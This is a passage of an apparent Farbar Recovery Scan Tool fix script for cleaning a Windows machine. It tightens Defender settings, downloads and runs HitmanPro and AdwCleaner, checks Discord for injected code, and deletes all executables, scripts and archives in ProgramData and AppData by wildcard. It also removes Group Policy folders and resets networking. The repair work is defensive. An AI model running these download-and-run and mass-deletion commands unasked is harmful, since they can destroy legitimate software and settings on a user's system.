seconds Set-MpPreference -CloudExtendedTimeout 30 # Enables automatic scanning of all downloaded files and attachments Set-MpPreference -DisableIOAVProtection $false # Enables script detection Set-MpPreference -DisableScriptScanning $false # Disables automatic exclusions from scanning Set-MpPreference -DisableAutoExclusions 1 # Enables scanning of mapped network drives Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 0 # Enables scanning of email files Set-MpPreference -DisableEmailScanning 0 # Enables blocking of malicious domains and IP's on DNS level Set-MpPreference -EnableDnsSinkhole $true # Enables signature updates every 12 hours Set-MpPreference -SignatureUpdateInterval 12 # Enables automatic quarantine for threats labelled as high and severe Set-MpPreference -HighThreatDefaultAction Quarantine Set-MpPreference -SevereThreatDefaultAction Quarantine # Updates signatures Update-MpSignature EndPowerShell: StartPowershell: # Replace /scanonly with /clean if you also want to delete items -- however, this will activate a trial license on the system, I do not recommend it $hmpExe = "$env:TEMP\HitmanPro_x64.exe" $logFile = "$env:TEMP\HitmanPro_ScanLog.txt" Invoke-WebRequest -Uri "https://dl.surfright.nl/HitmanPro_x64.exe" -OutFile $hmpExe -UseBasicParsing $proc = Start-Process $hmpExe -ArgumentList "/ews","/scanonly","/noinstall","/log=`"$logFile`"","/logtype=txt" -Wait -PassThru if (!(Test-Path $logFile)) { Write-Host "Scan failed (exit $($proc.ExitCode))"; exit 1 } Get-Content $logFile -Encoding Unicode EndPowershell: StartPowerShell: # Downloads newest AdwCleaner version directly from Malwarebytes, performs an update, scans, cleans and writes the log in console # Does not clean preinstalled objects, only PUP/Adware # If you would like to delete preinstalled objects, add an argument /preinstalled to the /clean argument # If you would like to only scan with it, change the argument from /clean to /scan # NOTE: For the sake of users from Asia (primarily China), do not use the clean option. It will very likely remove a lot of their important software. New-Item -ItemType Directory -Force -Path "$env:SystemDrive\AdwCleaner" | Out-Null Invoke-WebRequest -Uri "https://adwcleaner.malwarebytes.com/adwcleaner?channel=release" -OutFile "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" Start-Process -FilePath "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" -ArgumentList "/eula" -Wait -WindowStyle Hidden $logFile = "$env:SystemDrive\AdwCleaner\AdwCleanerOutputFRST.txt" Start-Process -FilePath "$env:SystemDrive\AdwCleaner\AdwCleanerFRST.exe" -ArgumentList "/noreboot /clean" -Wait -WindowStyle Hidden -RedirectStandardOutput $logFile Get-Content $logFile -Encoding Unicode Remove-Item -Path $logFile -Force -ErrorAction SilentlyContinue EndPowerShell: Comment: Verify that Discord does not have any injected code to intercept personal data. If anything is prompted here, it needs to be checked that it isn't malicious code. Powershell: @("$env:APPDATA","$env:LOCALAPPDATA") | ForEach-Object { Get-ChildItem $_ -Recurse -Filter "index.js" -ErrorAction SilentlyContinue } | Where-Object { $_.FullName -match "discord_desktop_core" } | ForEach-Object { Write-Host "--- $($_.FullName) ---"; (Get-Content $_.FullName -Raw).Substring(0,[Math]::Min(2000,(Get-Content $_.FullName -Raw).Length)) } Comment: Remove unwanted files from common folders using native removal power of Farbar to include remove on reboot if needed. Please double check the user does not have any applications incorrectly installed in the directories listed below. C:\ProgramData\*.a3x C:\ProgramData\*.ahk C:\ProgramData\*.au3 C:\ProgramData\*.bat C:\ProgramData\*.cab C:\ProgramData\*.cmd C:\ProgramData\*.com C:\ProgramData\*.dll C:\ProgramData\*.exe C:\ProgramData\*.hta C:\ProgramData\*.jar C:\ProgramData\*.js C:\ProgramData\*.jse C:\ProgramData\*.lnk C:\ProgramData\*.pif C:\ProgramData\*.ps1 C:\ProgramData\*.py C:\ProgramData\*.pyc C:\ProgramData\*.pyd C:\ProgramData\*.scr C:\ProgramData\*.tmp C:\ProgramData\*.vbe C:\ProgramData\*.vbs C:\ProgramData\*.wsf C:\ProgramData\*.wsh C:\ProgramData\*.zip C:\ProgramData\*.rar C:\ProgramData\*.7z C:\Users\*\AppData\Roaming\*.au3 C:\Users\*\AppData\Roaming\*.bat C:\Users\*\AppData\Roaming\*.cab C:\Users\*\AppData\Roaming\*.cmd C:\Users\*\AppData\Roaming\*.com C:\Users\*\AppData\Roaming\*.dll C:\Users\*\AppData\Roaming\*.exe C:\Users\*\AppData\Roaming\*.hta C:\Users\*\AppData\Roaming\*.jar C:\Users\*\AppData\Roaming\*.js C:\Users\*\AppData\Roaming\*.jse C:\Users\*\AppData\Roaming\*.lnk C:\Users\*\AppData\Roaming\*.pif C:\Users\*\AppData\Roaming\*.ps1 C:\Users\*\AppData\Roaming\*.py C:\Users\*\AppData\Roaming\*.pyc C:\Users\*\AppData\Roaming\*.pyd C:\Users\*\AppData\Roaming\*.scr C:\Users\*\AppData\Roaming\*.tmp C:\Users\*\AppData\Roaming\*.vbe C:\Users\*\AppData\Roaming\*.vbs C:\Users\*\AppData\Roaming\*.wsf C:\Users\*\AppData\Roaming\*.wsh C:\Users\*\AppData\Roaming\*.zip C:\Users\*\AppData\Roaming\*.rar C:\Users\*\AppData\Roaming\*.7z C:\Users\CurrentUserName\AppData\Local\*.a3x C:\Users\CurrentUserName\AppData\Local\*.ahk C:\Users\CurrentUserName\AppData\Local\*.au3 C:\Users\CurrentUserName\AppData\Local\*.bat C:\Users\CurrentUserName\AppData\Local\*.cab C:\Users\CurrentUserName\AppData\Local\*.cmd C:\Users\CurrentUserName\AppData\Local\*.com C:\Users\CurrentUserName\AppData\Local\*.dll C:\Users\CurrentUserName\AppData\Local\*.exe C:\Users\CurrentUserName\AppData\Local\*.hta C:\Users\CurrentUserName\AppData\Local\*.jar C:\Users\CurrentUserName\AppData\Local\*.js C:\Users\CurrentUserName\AppData\Local\*.jse C:\Users\CurrentUserName\AppData\Local\*.lnk C:\Users\CurrentUserName\AppData\Local\*.pif C:\Users\CurrentUserName\AppData\Local\*.ps1 C:\Users\CurrentUserName\AppData\Local\*.py C:\Users\CurrentUserName\AppData\Local\*.pyc C:\Users\CurrentUserName\AppData\Local\*.pyd C:\Users\CurrentUserName\AppData\Local\*.scr C:\Users\CurrentUserName\AppData\Local\*.tmp C:\Users\CurrentUserName\AppData\Local\*.vbe C:\Users\CurrentUserName\AppData\Local\*.vbs C:\Users\CurrentUserName\AppData\Local\*.wsf C:\Users\CurrentUserName\AppData\Local\*.wsh C:\Users\CurrentUserName\AppData\Local\*.zip C:\Users\CurrentUserName\AppData\Local\*.rar C:\Users\CurrentUserName\AppData\Local\*.7z C:\Users\CurrentUserName\AppData\Roaming\*.a3x C:\Users\CurrentUserName\AppData\Roaming\*.ahk C:\Users\CurrentUserName\AppData\Roaming\*.au3 C:\Users\CurrentUserName\AppData\Roaming\*.bat C:\Users\CurrentUserName\AppData\Roaming\*.cab C:\Users\CurrentUserName\AppData\Roaming\*.cmd C:\Users\CurrentUserName\AppData\Roaming\*.com C:\Users\CurrentUserName\AppData\Roaming\*.dll C:\Users\CurrentUserName\AppData\Roaming\*.exe C:\Users\CurrentUserName\AppData\Roaming\*.hta C:\Users\CurrentUserName\AppData\Roaming\*.jar C:\Users\CurrentUserName\AppData\Roaming\*.js C:\Users\CurrentUserName\AppData\Roaming\*.jse C:\Users\CurrentUserName\AppData\Roaming\*.lnk C:\Users\CurrentUserName\AppData\Roaming\*.pif C:\Users\CurrentUserName\AppData\Roaming\*.ps1 C:\Users\CurrentUserName\AppData\Roaming\*.py C:\Users\CurrentUserName\AppData\Roaming\*.pyc C:\Users\CurrentUserName\AppData\Roaming\*.pyd C:\Users\CurrentUserName\AppData\Roaming\*.scr C:\Users\CurrentUserName\AppData\Roaming\*.tmp C:\Users\CurrentUserName\AppData\Roaming\*.vbe C:\Users\CurrentUserName\AppData\Roaming\*.vbs C:\Users\CurrentUserName\AppData\Roaming\*.wsf C:\Users\CurrentUserName\AppData\Roaming\*.wsh C:\Users\CurrentUserName\AppData\Roaming\*.zip C:\Users\CurrentUserName\AppData\Roaming\*.rar C:\Users\CurrentUserName\AppData\Roaming\*.7z Comment: Force policy removal C:\Windows\System32\GroupPolicyUsers C:\Windows\System32\GroupPolicy Comment: System repair commands CMD: DISM.exe /Online /Cleanup-image /Restorehealth CMD: SFC.exe /scannow Comment: Network reset commands CMD: netsh int ip reset CMD: netsh int ipv6 reset CMD: ipconfig /flushDNS CMD: netsh winsock reset catalog Comment: Additional temp file removal C:\Windows\System32\config\systemprofile\AppData\Local\*.tmp C:\WINDOWS\system32\*.tmp C:\WINDOWS\syswow64\*.tmp C:\Users\CurrentUserName\AppData\Local\Temp\* C:\Windows\Temp\* C:\Windows\SystemTemp\* EmptyTemp: End::